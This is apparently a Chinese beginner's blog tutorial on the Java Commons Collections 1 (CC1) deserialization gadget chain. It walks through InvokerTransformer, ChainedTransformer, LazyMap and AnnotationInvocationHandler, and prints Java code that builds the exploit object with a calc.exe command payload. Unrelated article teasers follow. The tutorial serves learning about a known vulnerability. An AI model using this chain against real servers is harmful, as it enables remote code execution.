0基础入门java安全(一)--CC1基础分析

发布时间:2026/9/16 0:17:40

0基础入门java安全(一)--CC1基础分析 0基础入门Java安全一-- CC1基础分析如果你刚接触Java安全可能会被“反序列化漏洞”、“链式调用”、“CC链”这些名词吓到。别慌今天我们就从零开始拆解Java安全中最经典的入门案例CC1链Commons Collections 1。我会用最通俗的语言结合具体代码带你一步步理解它的原理。—## 什么是CC1链CC1链的全称是Commons Collections 1它是一个利用Apache Commons Collections库中的反序列化漏洞实现的攻击链。简单来说攻击者通过构造恶意数据让服务器在反序列化时执行危险代码。打个比方你收到一个快递序列化数据打开箱子反序列化时里面突然弹出弹簧拳头恶意代码打中了你。CC1链就是帮攻击者设计这个“弹簧拳头”的组装说明书。—## 核心概念InvocationHandler与动态代理要理解CC1链必须先知道两个Java特性### 1.InvocationHandler是什么- 它是Java动态代理机制的一部分。- 当你调用一个接口的方法时InvocationHandler可以拦截这个调用执行自定义逻辑。### 2.Transformer接口在Commons Collections库中Transformer接口定义了transform()方法用于将一个对象转换成另一个对象。常见的实现类有-ConstantTransformer永远返回固定值。-InvokerTransformer通过反射调用指定方法。关键点InvokerTransformer可以调用任意对象的任意方法比如Runtime.getRuntime().exec(calc)来执行系统命令。—## 代码示例1手动构造恶意Transformer我们先写一个简单例子看看如何用InvokerTransformer执行命令。javaimport org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.InvokerTransformer;public class SimpleTransformerDemo { public static void main(String[] args) throws Exception { // 1. 创建一个InvokerTransformer定义要调用的方法 // 参数说明方法名、参数类型数组、参数值数组 Transformer transformer new InvokerTransformer( exec, // 要调用的方法名 new Class[]{String.class}, // 参数类型 new Object[]{calc.exe} // 参数值弹出计算器 ); // 2. 获取Runtime对象注意Runtime类不能直接new要通过getRuntime() Runtime runtime Runtime.getRuntime(); // 3. 执行transform相当于调用 runtime.exec(calc.exe) Object result transformer.transform(runtime); // 如果运行在Windows上会弹出计算器 System.out.println(命令执行成功); }}运行结果如果你的环境有Apache Commons Collections库运行后会弹出计算器Windows或执行其它命令。原理InvokerTransformer通过反射机制调用Runtime.exec(calc.exe)。但注意这里需要手动传入Runtime对象在实际攻击中我们无法直接获得这个对象所以需要更巧妙的链式调用。—## 链式调用的关键LazyMap与ProxyCC1链的核心在于利用LazyMap和动态代理实现“自动触发”。让我们逐步拆解### 1. LazyMap的作用LazyMap是Commons Collections中的一个类它的get()方法有一个特殊行为如果Map中不存在某个key它会调用一个Transformer来生成value。javaimport org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;public class LazyMapDemo { public static void main(String[] args) { // 1. 构造一个Transformer链先返回Runtime对象再调用exec Transformer[] transformers new Transformer[] { new ConstantTransformer(Runtime.class), // 返回Runtime.class对象 new InvokerTransformer(getMethod, new Class[]{String.class, Class[].class}, new Object[]{getRuntime, new Class[0]}), // 调用getMethod new InvokerTransformer(invoke, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), // 调用invoke获得Runtime实例 new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc.exe}) // 执行命令 }; ChainedTransformer chain new ChainedTransformer(transformers); // 2. 创建LazyMap传入Transformer链 LazyMap lazyMap (LazyMap) LazyMap.decorate(new HashMap(), chain); // 3. 当调用get()方法且key不存在时会触发transform lazyMap.get(anyKey); // 这会执行整个链最终弹出计算器 }}关键点ChainedTransformer将多个Transformer串起来前一个的输出作为后一个的输入。整个流程是1.ConstantTransformer返回Runtime.class对象。2.InvokerTransformer调用getMethod(getRuntime)获得getRuntime方法。3. 再调用invoke(null)获得Runtime实例。4. 最后调用exec(calc.exe)。—## 触发时机反序列化时自动调用现在的问题是如何让服务器在反序列化时自动调用lazyMap.get()答案是用动态代理。AnnotationInvocationHandler是Java自带的类它实现了InvocationHandler。当代理对象调用任何方法时它都会调用invoke()方法而invoke()内部会调用memberValues.get(member)—— 这正是我们需要的get()触发点。攻击链1. 用LazyMap包装恶意Transformer链。2. 用AnnotationInvocationHandler创建代理代理对象是Map接口。3. 把这个代理对象放到另一个AnnotationInvocationHandler的memberValues里。4. 序列化这个对象反序列化时触发链式调用。—## 代码示例2完整的CC1攻击链javaimport org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class CC1Exploit { public static void main(String[] args) throws Exception { // Step 1: 构建Transformer链 Transformer[] transformers new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer(getMethod, new Class[]{String.class, Class[].class}, new Object[]{getRuntime, new Class[0]}), new InvokerTransformer(invoke, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc.exe}) }; ChainedTransformer chain new ChainedTransformer(transformers); // Step 2: 创建LazyMap Map lazyMap LazyMap.decorate(new HashMap(), chain); // Step 3: 获取AnnotationInvocationHandler的构造方法通过反射 Class? clazz Class.forName(sun.reflect.annotation.AnnotationInvocationHandler); Constructor? constructor clazz.getDeclaredConstructor( Class.class, Map.class); constructor.setAccessible(true); // Step 4: 创建第一个handler代理lazyMap InvocationHandler handler (InvocationHandler) constructor.newInstance( Retention.class, lazyMap); // 创建动态代理对象代理Map接口 Map proxyMap (Map) Proxy.newProxyInstance( Map.class.getClassLoader(), new Class[]{Map.class}, handler); // Step 5: 创建第二个handler把proxyMap作为memberValues InvocationHandler finalHandler (InvocationHandler) constructor.newInstance( Retention.class, proxyMap); // Step 6: 序列化实际攻击中把对象发送给服务器 // 这里我们直接触发反序列化 // 当反序列化执行时会调用finalHandler的readObject() // 最终触发lazyMap.get() - 执行命令 // 注意实际测试时可能需要反序列化触发这里简化演示 System.out.println(构造完成反序列化时将执行命令); }}注意这段代码在JDK 8u71之前有效之后AnnotationInvocationHandler的readObject逻辑修改不再触发。要测试的话请使用低版本JDK和Commons Collections 3.1。—## 总结CC1链的核心思想可以归纳为三步1.准备弹药用InvokerTransformer和ChainedTransformer构造任意方法调用链。2.设置陷阱用LazyMap包装这个链只要调用get()且key不存在就会触发。3.扣动扳机利用AnnotationInvocationHandler的动态代理在反序列化时自动调用get()。为什么能成功因为Java反序列化机制会调用readObject()而AnnotationInvocationHandler的readObject()内部会遍历memberValues触发代理对象的entrySet()等方法进而触发LazyMap.get()。学习建议- 先理解动态代理和反射机制。- 动手调试代码观察每一步的输入输出。- 从CC1开始逐步学习CC2、CC4、CC6等变种。记住安全漏洞的本质是“信任”的滥用。反序列化信任了序列化数据中的类型定义而攻击者利用这种信任把恶意代码伪装成普通数据。理解这一点你就掌握了Java安全的精髓。
延伸阅读

更多相关文章

2026/9/10 18:33:31

6岁患儿临床试验离世后:仇子龙Nature论文事件

一则国际顶刊调查报道,揭开一场罕见病个体化基因编辑人体试验的悲剧;紧随其后,学术博主公开质疑相关《Nature》论文数据存在异常。上海交通大学医学院仇子龙团队 CHD3 碱基编辑研究事件,同时牵动人体临床试验伦理监管、学术论文数…

2026/9/12 22:57:34

PHP:使用回调函数处理数组的函数

使用回调函数处理数组的函数: 1.array_filter(); 过滤数组中的值.** <?php $arrarray(0,linux,123,hello,false,array(),0);$arr2array_filter($arr);echo <pre>; print_r($arr2); echo </pre>;?>结果是 Array ([1] > linux[2] > 123[3] > hello…

2026/9/16 0:14:09

C# WPF上位机开发实战:半导体晶圆搬移系统的多线程与MVVM架构

这个项目是我去年给一家做碳化硅衬底的客户开发的&#xff0c;核心任务是把半导体晶圆和石墨岛在几个工艺工位之间安全地搬来搬去。听起来就是个“移栽”动作&#xff0c;但真正落地的时候&#xff0c;涉及的问题一点都不简单&#xff1a;设备要对接PLC和运动控制卡&#xff0c…

2026/9/16 0:09:09

SpringBoot+Vue构建医学电子技术课堂系统实践

1. 项目概述&#xff1a;医学电子技术课堂系统的技术架构与核心价值这个基于SpringBootVue的医学电子技术课堂管理系统&#xff0c;本质上是一个面向医学院校和医疗培训机构设计的数字化教学平台。作为一名在医疗信息化领域摸爬滚打多年的开发者&#xff0c;我亲历过传统医学教…

2026/9/15 4:54:30

拯救者Y7000黑屏故障排查与维修实战指南

1. 项目概述&#xff1a;一台黑屏的拯救者Y7000&#xff0c;到底卡在哪一步&#xff1f; 联想拯救者Y7000系列笔记本&#xff0c;从2018年第一代搭载i5-8300H开始&#xff0c;到后来的i7-9750H、i7-10750H、i5-11400H&#xff0c;再到2023年款的R7-7840HS&#xff0c;它始终是学…

2026/9/16 0:04:09

PHP源码部署实战:从环境配置到运行情侣游戏全攻略

简介&#xff1a;这是一套面向情侣互动场景的PHP完整源码&#xff0c;集成情侣飞行棋、真心话大冒险、情趣骰子等玩法&#xff0c;并内置完整分销制度&#xff0c;可自定义多种返佣比例&#xff0c;源码完全开源无加密&#xff0c;支持微信无感自动授权登录与第三方授权&#x…

2026/9/15 14:22:53

USB Type-C PCB布局分区设计:电源、高速信号与PD协议全攻略

做硬件这行&#xff0c;Type-C接口算是典型的“看着简单&#xff0c;做起来全坑”的东西。光引脚就24个&#xff0c;高低速信号、电源、控制线全部塞在一个小小的连接器里&#xff0c;如果PCB布局不做规划&#xff0c;打样回来基本就是“插上没反应”、“高速掉线”、“静电一打…

2026/9/15 21:31:11

系统编程学习原型如何补齐稳定性边界

系统编程学习原型如何补齐稳定性边界预算有限时&#xff0c;我先优化明显多余的复制&#xff0c;而不是猜测性地换容器。用借用传递只读数据通常就能减少分配&#xff1a; fn parse(line: &str) -> Result<Item, Error> { /* ... */ }用基准确认热点确实在分配&am…

2026/9/15 11:42:23

雨花区哪家财务公司代理记账比较好?

在雨花区&#xff0c;企业处理财税事务常常面临诸多挑战&#xff0c;选择一家靠谱的财务公司至关重要。湖南巨勤财务管理咨询有限公司就是本地正规实体财税服务机构&#xff0c;深耕本地工商财税行业多年&#xff0c;熟悉当地工商局、税务局最新政策与申报流程。主营公司注册、…

还想了解更多?直接咨询顾问

免费诊断 + 免费方案 + 透明报价。

全国咨询热线400-8866-253
免费获取方案
咨询二维码